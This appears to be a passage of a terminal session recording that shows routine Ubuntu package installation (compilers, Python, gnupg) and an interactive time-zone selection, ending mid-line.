[61.67272, "o", "Preparing to unpack .../119-python3-setuptools_68.1.2-2ubuntu1.2_all.deb ...\r\n"]
[61.687646, "o", "Unpacking python3-setuptools (68.1.2-2ubuntu1.2) ...\r\n"]
[61.915015, "o", "Selecting previously unselected package python3-wheel.\r\n"]
[61.918215, "o", "Preparing to unpack .../120-python3-wheel_0.42.0-2_all.deb ...\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 51%]\u001b[49m\u001b[39m"]
[61.923795, "o", " [################################################################################################............................................................................................] \u001b8\r\n"]
[61.938845, "o", "Unpacking python3-wheel (0.42.0-2) ...\r\n"]
[62.043039, "o", "Selecting previously unselected package python3-pip.\r\n"]
[62.047788, "o", "Preparing to unpack .../121-python3-pip_24.0+dfsg-1ubuntu1.3_all.deb ..."]
[62.049071, "o", "\r\n"]
[62.063121, "o", "Unpacking python3-pip (24.0+dfsg-1ubuntu1.3) ...\r\n"]
[62.576564, "o", "Setting up libksba8:amd64 (1.6.6-1build1) ...\r\n"]
[62.595922, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 52%]\u001b[49m\u001b[39m"]
[62.596681, "o", " [#################################################################################################...........................................................................................] "]
[62.598303, "o", "\u001b8"]
[62.609272, "o", "Setting up pinentry-curses (1.2.1-3ubuntu5) ...\r\n"]
[62.675699, "o", "Setting up media-types (10.1.0) ...\r\n"]
[62.716927, "o", "Setting up javascript-common (11+nmu1) ...\r\n"]
[62.835465, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 53%]\u001b[49m\u001b[39m [###################################################################################################.........................................................................................] \u001b8"]
[62.847192, "o", "Setting up libsharpyuv0:amd64 (1.3.2-0.4build3) ...\r\n"]
[62.880066, "o", "Setting up libaom3:amd64 (3.8.2-2ubuntu0.1) ...\r\n"]
[62.912357, "o", "Setting up libxau6:amd64 (1:1.0.9-1build6) ...\r\n"]
[62.932253, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 54%]\u001b[49m\u001b[39m [#####################################################################################################.......................................................................................] \u001b8"]
[62.94225, "o", "Setting up lto-disabled-list (47) ..."]
[62.94389, "o", "\r\n"]
[62.973118, "o", "Setting up liblerc4:amd64 (4.0.0+ds-4ubuntu2) ...\r\n"]
[63.00998, "o", "Setting up libgdbm6t64:amd64 (1.23-5.1build1) ...\r\n"]
[63.032714, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 55%]\u001b[49m\u001b[39m [#######################################################################################################.....................................................................................] \u001b8"]
[63.044723, "o", "Setting up libgdbm-compat4t64:amd64 (1.23-5.1build1) ...\r\n"]
[63.080623, "o", "Setting up manpages (6.7-2) ...\r\n"]
[63.096759, "o", "Setting up libbrotli1:amd64 (1.1.0-2build2) ...\r\n"]
[63.102749, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 56%]\u001b[49m\u001b[39m [#########################################################################################################...................................................................................] \u001b8"]
[63.134228, "o", "Setting up libsqlite3-0:amd64 (3.45.1-1ubuntu2.5) ...\r\n"]
[63.179405, "o", "Setting up libsasl2-modules:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[63.231297, "o", "Setting up binutils-common:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[63.248907, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 57%]\u001b[49m\u001b[39m [###########################################################################################################.................................................................................] \u001b8"]
[63.269637, "o", "Setting up libdeflate0:amd64 (1.19-1build1.1) ...\r\n"]
[63.301404, "o", "Setting up linux-libc-dev:amd64 (6.8.0-107.107) ...\r\n"]
[63.319197, "o", "Setting up libctf-nobfd0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[63.33264, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 58%]\u001b[49m\u001b[39m [#############################################################################################################...............................................................................] \u001b8"]
[63.359553, "o", "Setting up libgomp1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[63.378418, "o", "Setting up bzip2 (1.0.8-5.1build0.1) ...\r\n"]
[63.41254, "o", "Setting up libldap-common (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[63.434219, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 59%]\u001b[49m\u001b[39m [###############################################################################################################.............................................................................] \u001b8"]
[63.456018, "o", "Setting up libjbig0:amd64 (2.1-6.1ubuntu2) ...\r\n"]
[63.497046, "o", "Setting up libsframe1:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[63.521934, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 60%]\u001b[49m\u001b[39m [################################################################################################################............................................................................] \u001b8"]
[63.533164, "o", "Setting up libfakeroot:amd64 (1.33-1) ...\r\n"]
[63.582411, "o", "Setting up libjansson4:amd64 (2.14-2build2) ...\r\n"]
[63.618025, "o", "Setting up libsasl2-modules-db:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[63.635447, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 61%]\u001b[49m\u001b[39m [##################################################################################################################..........................................................................] "]
[63.637516, "o", "\u001b8"]
[63.641448, "o", "Setting up tzdata (2026a-0ubuntu0.24.04.1) ...\r\n"]
[63.825996, "o", "debconf: unable to initialize frontend: Dialog"]
[63.82847, "o", "\r\n"]
[63.830478, "o", "debconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 79.)\r\ndebconf: falling back to frontend: Readline\r\n"]
[63.92326, "o", "Configuring tzdata"]
[63.928616, "o", "\r\n------------------\r\n\r\nPlease select the geographic area in which you live. Subsequent configuration questions will narrow this down by presenting a list of cities, representing the time zones in which they are located.\r\n\r\n  1. Africa  2. America  3. Antarctica  4. Arctic  5. Asia  6. Atlantic  7. Australia  8. Europe  9. Indian  10. Pacific  11. Etc  12. Legacy\r\n"]
[63.928691, "o", "\u001b[4mGeographic area: \u001b[24m\u001b[1m"]
[73.73909, "o", "2"]
[74.078875, "o", "\r\n\u001b[0m\u001b[0m\r\n"]
[74.086471, "o", "Please select the city or region corresponding to your time zone.\r\n\r\n"]
[74.090765, "o", "  1. Adak                     19. Asuncion        37. Chicago        55. Ensenada              73. Indiana/Tell_City    91. Marigot      109. Noronha                 127. Recife         145. Swift_Current\r\n  2. Anchorage                20. Atikokan        38. Chihuahua      56. Fort_Nelson           74. Indiana/Vevay        92. Martinique   110. North_Dakota/Beulah     128. Regina         146. Tegucigalpa\r\n  3. Anguilla                 21. Atka            39. Ciudad_Juarez  57. Fortaleza             75. Indiana/Vincennes    93. Matamoros    111. North_Dakota/Center     129. Resolute       147. Thule\r\n  4. Antigua                  22. Bahia           40. Coral_Harbour  58. Glace_Bay             76. Indiana/Winamac      94. Mazatlan     112. North_Dakota/New_Salem  130. Rio_Branco     148. Thunder_Bay\r\n  5. Araguaina                23. Bahia_Banderas  41. Costa_Rica     59. Goose_Bay             77. Inuvik               95. Menominee    113. Nuuk                    131. Santa_Isabel   149. Tijuana\r\n  6. Argentina/Buenos_Aires   24. Barbados        42. Coyhaique      60. Grand_Turk            78. Iqaluit              96. Merida       114. Ojinaga                 132. Santarem       150. Toronto\r\n  7. Argentina/Catamarca      25. Belem           43. Creston        61. Grenada               79. Jamaica              97. Metlakatla   115. Panama                  133. Santiago       151. Tortola\r\n  8. Argentina/Cordoba        26. Belize          44. Cuiaba         62. Guadeloupe            80. Juneau               98. Mexico_City  116. Pangnirtung             134. Santo_Domingo  152. Vancouver\r\n  9. Argentina/Jujuy          27. Blanc-Sablon    45. Curacao        63. Guatemala             81. Kentucky/Louisville  99. Miquelon     117. Paramaribo              135. Sao_Paulo      153. Virgin\r\n  10. Argentina/La_Rioja      28. Boa_Vista       46. Danmarkshavn   64. Guayaquil             82. Kentucky/Monticello  100. Moncton     118. Phoenix                 136. Scoresbysund   154. Whitehorse\r\n  11. Argentina/Mendoza       29"]
[74.09083, "o", ". Bogota          47. Dawson         65. Guyana                83. Kralendijk           101. Monterrey   119. Port-au-Prince          137. Shiprock       155. Winnipeg\r\n  12. Argentina/Rio_Gallegos  30. Boise           48. Dawson_Creek   66. Halifax               84. La_Paz               102. Montevideo  120. Port_of_Spain           138. Sitka          156. Yakutat\r\n  13. Argentina/Salta         31. Cambridge_Bay   49. Denver         67. Havana                85. Lima                 103. Montreal    121. Porto_Acre              139. St_Barthelemy  157. Yellowknife\r\n  14. Argentina/San_Juan      32. Campo_Grande    50. Detroit        68. Hermosillo            86. Los_Angeles          104. Montserrat  122. Porto_Velho             140. St_Johns\r\n  15. Argentina/San_Luis      33. Cancun          51. Dominica       69. Indiana/Indianapolis  87. Lower_Princes        105. Nassau      123. Puerto_Rico             141. St_Kitts\r\n  16. Argentina/Tucuman       34. Caracas         52. Edmonton       70. Indiana/Knox          88. Maceio               106. New_York    124. Punta_Arenas            142. St_Lucia\r\n  17. Argentina/Ushuaia       35. Cayenne         53. Eirunepe       71. Indiana/Marengo       89. Managua              107. Nipigon     125. Rainy_River             143. St_Thomas\r\n  18. Aruba                   36. Cayman          54. El_Salvador    72. Indiana/Petersburg    90. Manaus               108. Nome        126. Rankin_Inlet            144. St_Vincent\r\n\u001b[4mTime zone: \u001b[24m\u001b[1m"]
[74.586426, "o", "1"]
[75.192791, "o", "5"]
[75.384749, "o", "0"]
[76.248984, "o", "\r\n\u001b[0m\u001b[0m\r\n"]
[76.28607, "o", "\r\nCurrent default time zone: 'America/Toronto'\r\n"]
[76.298939, "o", "Local time is now:      Sat Apr  4 18:57:36 EDT 2026.\r\nUniversal Time is now:  Sat Apr  4 22:57:36 UTC 2026.\r\nRun 'dpkg-reconfigure tzdata' if you wish to change it.\r\n\r\n"]
[76.342041, "o", "Setting up fakeroot (1.33-1) ...\r\n"]
[76.380467, "o", "update-alternatives: using /usr/bin/fakeroot-sysv to provide /usr/bin/fakeroot (fakeroot) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/fakeroot.1.gz because associated file /usr/share/man/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/faked.1.gz because associated file /usr/share/man/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/es/man1/fakeroot.1.gz because associated file /usr/share/man/es/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/es/man1/faked.1.gz because associated file /usr/share/man/es/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/fr/man1/fakeroot.1.gz because associated file /usr/share/man/fr/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/fr/man1/faked.1.gz because associated file /usr/share/man/fr/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/sv/man1/fakeroot.1.gz because associated file /usr/share/man/sv/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/sv/man1/faked.1.gz because associated file /usr/share/man/sv/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\n"]
[76.419374, "o", "Setting up rpcsvc-proto (1.4.2-0ubuntu7) ...\r\n"]
[76.441583, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 62%]\u001b[49m\u001b[39m [####################################################################################################################........................................................................] \u001b8"]
[76.459207, "o", "Setting up gcc-13-base:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[76.490296, "o", "Setting up libx11-data (2:1.8.7-1build1) ...\r\n"]
[76.513003, "o", "Setting up make (4.3-4.1build2) ...\r\n"]
[76.524766, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 63%]\u001b[49m\u001b[39m [######################################################################################################################......................................................................] \u001b8"]
[76.544936, "o", "Setting up libmpfr6:amd64 (4.2.1-1build1.1) ...\r\n"]
[76.572891, "o", "Setting up gnupg-l10n (2.4.4-2ubuntu17.4) ..."]
[76.574412, "o", "\r\n"]
[76.604418, "o", "Setting up xz-utils (5.6.1+really5.4.5-1ubuntu0.2) ...\r\n"]
[76.616742, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 64%]\u001b[49m\u001b[39m [########################################################################################################################....................................................................] \u001b8"]
[76.645883, "o", "update-alternatives: using /usr/bin/xz to provide /usr/bin/lzma (lzma) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzma.1.gz because associated file /usr/share/man/man1/xz.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/unlzma.1.gz because associated file /usr/share/man/man1/unxz.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzcat.1.gz because associated file /usr/share/man/man1/xzcat.1.gz (of link group lzma) doesn't exist\r\n"]
[76.650567, "o", "update-alternatives: warning: skip creation of /usr/share/man/man1/lzmore.1.gz because associated file /usr/share/man/man1/xzmore.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzless.1.gz because associated file /usr/share/man/man1/xzless.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzdiff.1.gz because associated file /usr/share/man/man1/xzdiff.1.gz (of link group lzma) doesn't exist\r\n"]
[76.651067, "o", "update-alternatives: warning: skip creation of /usr/share/man/man1/lzcmp.1.gz because associated file /usr/share/man/man1/xzcmp.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzgrep.1.gz because associated file /usr/share/man/man1/xzgrep.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzegrep.1.gz because associated file /usr/share/man/man1/xzegrep.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzfgrep.1.gz because associated file /usr/share/man/man1/xzfgrep.1.gz (of link group lzma) doesn't exist\r\n"]
[76.677737, "o", "Setting up perl-modules-5.38 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[76.704415, "o", "Setting up libquadmath0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[76.736926, "o", "Setting up fonts-dejavu-mono (2.37-8) ...\r\n"]
[76.774769, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 65%]\u001b[49m\u001b[39m [##########################################################################################################################..................................................................] \u001b8"]
[76.787808, "o", "Setting up libpng16-16t64:amd64 (1.6.43-5ubuntu0.5) ...\r\n"]
[76.812439, "o", "Setting up libmpc3:amd64 (1.3.1-1build1.1) ...\r\n"]
[76.854278, "o", "Setting up libatomic1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[76.86356, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 66%]\u001b[49m\u001b[39m [############################################################################################################################................................................................] \u001b8"]
[76.880529, "o", "Setting up patch (2.7.6-7build3) ...\r\n"]
[76.895613, "o", "Setting up fonts-dejavu-core (2.37-8) ...\r\n"]
[77.042714, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 67%]\u001b[49m\u001b[39m [#############################################################################################################################...............................................................] \u001b8"]
[77.053627, "o", "Setting up libjpeg-turbo8:amd64 (2.1.5-2ubuntu2) ...\r\n"]
[77.089721, "o", "Setting up libsasl2-2:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[77.126442, "o", "Setting up libwebp7:amd64 (1.3.2-0.4build3) ...\r\n"]
[77.157401, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 68%]\u001b[49m\u001b[39m [###############################################################################################################################.............................................................] \u001b8"]
[77.171458, "o", "Setting up libubsan1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.201545, "o", "Setting up libhwasan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.231423, "o", "Setting up libcrypt-dev:amd64 (1:4.4.36-4build1) ...\r\n"]
[77.277583, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 69%]\u001b[49m\u001b[39m [#################################################################################################################################...........................................................] \u001b8"]
[77.292741, "o", "Setting up libasan8:amd64 (14.2.0-4ubuntu2~24.04.1) ..."]
[77.293748, "o", "\r\n"]
[77.322282, "o", "Setting up netbase (6.4) ...\r\n"]
[77.371874, "o", "Setting up libperl5.38t64:amd64 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[77.397844, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 70%]\u001b[49m\u001b[39m [###################################################################################################################################.........................................................] \u001b8"]
[77.413446, "o", "Setting up libtsan2:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.432298, "o", "Setting up libjs-jquery (3.6.1+dfsg+~3.5.14-1) ...\r\n"]
[77.456781, "o", "Setting up libbinutils:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[77.461562, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 71%]\u001b[49m\u001b[39m [#####################################################################################################################################.......................................................] \u001b8"]
[77.484639, "o", "Setting up libisl23:amd64 (0.26-3build1.1) ...\r\n"]
[77.506891, "o", "Setting up libde265-0:amd64 (1.0.15-1build3) ...\r\n"]
[77.539065, "o", "Setting up libc-dev-bin (2.39-0ubuntu8.7) ...\r\n"]
[77.55829, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 72%]\u001b[49m\u001b[39m [#######################################################################################################################################.....................................................] \u001b8"]
[77.573076, "o", "Setting up openssl (3.0.13-0ubuntu3.7) ...\r\n"]
[77.60064, "o", "Setting up libbsd0:amd64 (0.12.1-1build1.1) ...\r\n"]
[77.638989, "o", "Setting up readline-common (8.2-4build1) ...\r\n"]
[77.651431, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 73%]\u001b[49m\u001b[39m [#########################################################################################################################################...................................................] \u001b8"]
[77.686421, "o", "Setting up libcc1-0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.723473, "o", "Setting up libldap2:amd64 (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[77.757104, "o", "Setting up liblocale-gettext-perl (1.07-6ubuntu5) ...\r\n"]
[77.761415, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 74%]\u001b[49m\u001b[39m [###########################################################################################################################################.................................................] \u001b8"]
[77.779365, "o", "Setting up liblsan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.808072, "o", "Setting up libitm1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.82028, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 75%]\u001b[49m\u001b[39m [#############################################################################################################################################...............................................] \u001b8"]
[77.825368, "o", "Setting up libjs-underscore (1.13.4~dfsg+~1.11.4-3) ...\r\n"]
[77.851508, "o", "Setting up gnupg-utils (2.4.4-2ubuntu17.4) ...\r\n"]
[77.865757, "o", "Setting up libctf0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[77.889075, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 76%]\u001b[49m\u001b[39m [###############################################################################################################################################.............................................] \u001b8"]
[77.902872, "o", "Setting up libjpeg8:amd64 (8c-2ubuntu11) ...\r\n"]
[77.938458, "o", "Setting up manpages-dev (6.7-2) ...\r\n"]
[77.979755, "o", "Setting up libxdmcp6:amd64 (1:1.1.3-0ubuntu6) ...\r\n"]
[78.000534, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 77%]\u001b[49m\u001b[39m [#################################################################################################################################################...........................................] \u001b8"]
[78.017395, "o", "Setting up libxcb1:amd64 (1.15-1ubuntu2) ..."]
[78.020414, "o", "\r\n"]
[78.050338, "o", "Setting up cpp-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ..."]
[78.053024, "o", "\r\n"]
[78.092908, "o", "Setting up fontconfig-config (2.15.0-1.1ubuntu2) ...\r\n"]
[78.129734, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 78%]\u001b[49m\u001b[39m [##################################################################################################################################################..........................................] "]
[78.132906, "o", "\u001b8"]
[78.937665, "o", "Setting up ca-certificates (20240203) ...\r\n"]
[79.166436, "o", "debconf: unable to initialize frontend: Dialog\r\ndebconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 79.)\r\ndebconf: falling back to frontend: Readline\r\n"]
[81.206844, "o", "Updating certificates in /etc/ssl/certs...\r\n"]
[84.513635, "o", "146 added, 0 removed; done.\r\n"]
[84.598778, "o", "Setting up perl (5.38.2-3.2ubuntu0.2) ...\r\n"]
[84.676121, "o", "Setting up libgprofng0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[84.708693, "o", "Setting up libfreetype6:amd64 (2.13.2+dfsg-1ubuntu0.1) ...\r\n"]
[84.720728, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 79%]\u001b[49m\u001b[39m [####################################################################################################################################################........................................] \u001b8"]
[84.745311, "o", "Setting up libjs-sphinxdoc (7.2.6-6) ...\r\n"]
[84.778406, "o", "Setting up libdpkg-perl (1.22.6ubuntu6.5) ...\r\n"]
[84.799859, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 80%]\u001b[49m\u001b[39m [######################################################################################################################################################......................................] \u001b8"]
[84.809427, "o", "Setting up libreadline8t64:amd64 (8.2-4build1) ...\r\n"]
[84.841747, "o", "Setting up libgcc-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[84.876375, "o", "Setting up libtiff6:amd64 (4.5.1+git230720-4ubuntu2.5) ...\r\n"]
[84.897596, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 81%]\u001b[49m\u001b[39m [########################################################################################################################################################....................................] \u001b8"]
[84.908409, "o", "Setting up gpgconf (2.4.4-2ubuntu17.4) ...\r\n"]
[84.94001, "o", "Setting up libc6-dev:amd64 (2.39-0ubuntu8.7) ...\r\n"]
[84.967054, "o", "Setting up libx11-6:amd64 (2:1.8.7-1build1) ...\r\n"]
[84.983777, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 82%]\u001b[49m\u001b[39m [##########################################################################################################################################################..................................] \u001b8"]
[84.99368, "o", "Setting up libfontconfig1:amd64 (2.15.0-1.1ubuntu2) ...\r\n"]
[85.022729, "o", "Setting up gpg (2.4.4-2ubuntu17.4) ...\r\n"]
[85.054008, "o", "Setting up libstdc++-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[85.073586, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 83%]\u001b[49m\u001b[39m [############################################################################################################################################################................................] \u001b8"]
[85.083941, "o", "Setting up binutils-x86-64-linux-gnu (2.42-4ubuntu2.10) ...\r\n"]
[85.112311, "o", "Setting up cpp-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[85.143704, "o", "Setting up gpg-agent (2.4.4-2ubuntu17.4) ...\r\n"]
[85.180385, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 84%]\u001b[49m\u001b[39m [#############################################################################################################################################################...............................] \u001b8"]
[86.087685, "o", "Setting up libpython3.12-stdlib:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[86.105802, "o", "Setting up libxpm4:amd64 (1:3.5.17-1build2) ...\r\n"]
[86.160697, "o", "Setting up cpp-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[86.18298, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 85%]\u001b[49m\u001b[39m [###############################################################################################################################################################.............................] \u001b8"]
[86.205448, "o", "Setting up libfile-fcntllock-perl (0.22-4ubuntu5) ...\r\n"]
[86.237311, "o", "Setting up libalgorithm-diff-perl (1.201-1) ..."]
[86.24067, "o", "\r\n"]
[86.270514, "o", "Setting up gcc-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[86.286602, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 86%]\u001b[49m\u001b[39m [#################################################################################################################################################################...........................] \u001b8"]
[86.304595, "o", "Setting up python3.12 (3.12.3-1ubuntu0.12) ...\r\n"]
[87.661569, "o", "Setting up gpgsm (2.4.4-2ubuntu17.4) ...\r\n"]
[87.702032, "o", "Setting up binutils (2.42-4ubuntu2.10) ...\r\n"]
[87.715308, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 87%]\u001b[49m\u001b[39m [###################################################################################################################################################################.........................] \u001b8"]
[87.73382, "o", "Setting up dpkg-dev (1.22.6ubuntu6.5) ...\r\n"]
[87.790178, "o", "Setting up libpython3.12t64:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[87.802011, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 88%]\u001b[49m\u001b[39m"]
[87.802616, "o", " [#####################################################################################################################################################################.......................] \u001b8"]
[87.807298, "o", "Setting up dirmngr (2.4.4-2ubuntu17.4) ...\r\n"]
[88.226353, "o", "Setting up libexpat1-dev:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[88.261524, "o", "Setting up gcc-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[88.296441, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 89%]\u001b[49m\u001b[39m [#######################################################################################################################################################################.....................] \u001b8"]
[88.309294, "o", "Setting up keyboxd (2.4.4-2ubuntu17.4) ...\r\n"]
[88.540041, "o", "Setting up zlib1g-dev:amd64 (1:1.3.dfsg-3.1ubuntu2.1) ...\r\n"]
[88.588279, "o", "Setting up cpp (4:13.2.0-7ubuntu1) ...\r\n"]
[88.635194, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 90%]\u001b[49m\u001b[39m [#########################################################################################################################################################################...................] \u001b8"]
[88.644829, "o", "Setting up gnupg (2.4.4-2ubuntu17.4) ...\r\n"]
[88.684915, "o", "Setting up libalgorithm-diff-xs-perl:amd64 (0.04-8build3) ...\r\n"]
[88.718441, "o", "Setting up libpython3-stdlib:amd64 (3.12.3-0ubuntu2.1) ...\r\n"]
[88.739466, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 91%]\u001b[49m\u001b[39m [###########################################################################################################################################################################.................] \u001b8"]
[88.750432, "o", "Setting up libalgorithm-merge-perl (0.08-5) ...\r\n"]
[88.786535, "o", "Setting up g++-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[88.806378, "o", "Setting up gcc-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[88.818303, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 92%]\u001b[49m\u001b[39m [############################################################################################################################################################################................] \u001b8"]
[88.840257, "o", "Setting up gpg-wks-client (2.4.4-2ubuntu17.4) ...\r\n"]
[88.87637, "o", "Setting up python3 (3.12.3-0ubuntu2.1) ...\r\n"]
[88.919408, "o", "running python rtupdate hooks for python3.12...\r\nrunning python post-rtupdate hooks for python3.12...\r\n"]
[89.079687, "o", "Setting up libpython3.12-dev:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[89.089709, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 93%]\u001b[49m\u001b[39m [##############################################################################################################################################################################..............] \u001b8"]
[89.109867, "o", "Setting up python3-wheel (0.42.0-2) ...\r\n"]
[89.406876, "o", "Setting up gcc (4:13.2.0-7ubuntu1) ...\r\n"]
[89.488533, "o", "Setting up python3.12-dev (3.12.3-1ubuntu0.12) ...\r\n"]
[89.500861, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 94%]\u001b[49m\u001b[39m [################################################################################################################################################################################............] \u001b8"]
[89.527465, "o", "Setting up g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[89.560659, "o", "Setting up python3-pkg-resources (68.1.2-2ubuntu1.2) ...\r\n"]
[89.904143, "o", "Setting up g++-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[89.923549, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 95%]\u001b[49m\u001b[39m [##################################################################################################################################################################################..........] \u001b8"]
[89.949487, "o", "Setting up libpython3-dev:amd64 (3.12.3-0ubuntu2.1) ...\r\n"]
[89.981375, "o", "Setting up python3-setuptools (68.1.2-2ubuntu1.2) ...\r\n"]
[90.73395, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 96%]\u001b[49m\u001b[39m [####################################################################################################################################################################################........] \u001b8"]
[90.750072, "o", "Setting up python3-dev (3.12.3-0ubuntu2.1) ...\r\n"]
[90.793252, "o", "Setting up python3-pip (24.0+dfsg-1ubuntu1.3) ...\r\n"]
[93.143223, "o", "Setting up g++ (4:13.2.0-7ubuntu1) ..."]
[93.143478, "o", "\r\n"]
[93.176601, "o", "update-alternatives: "]
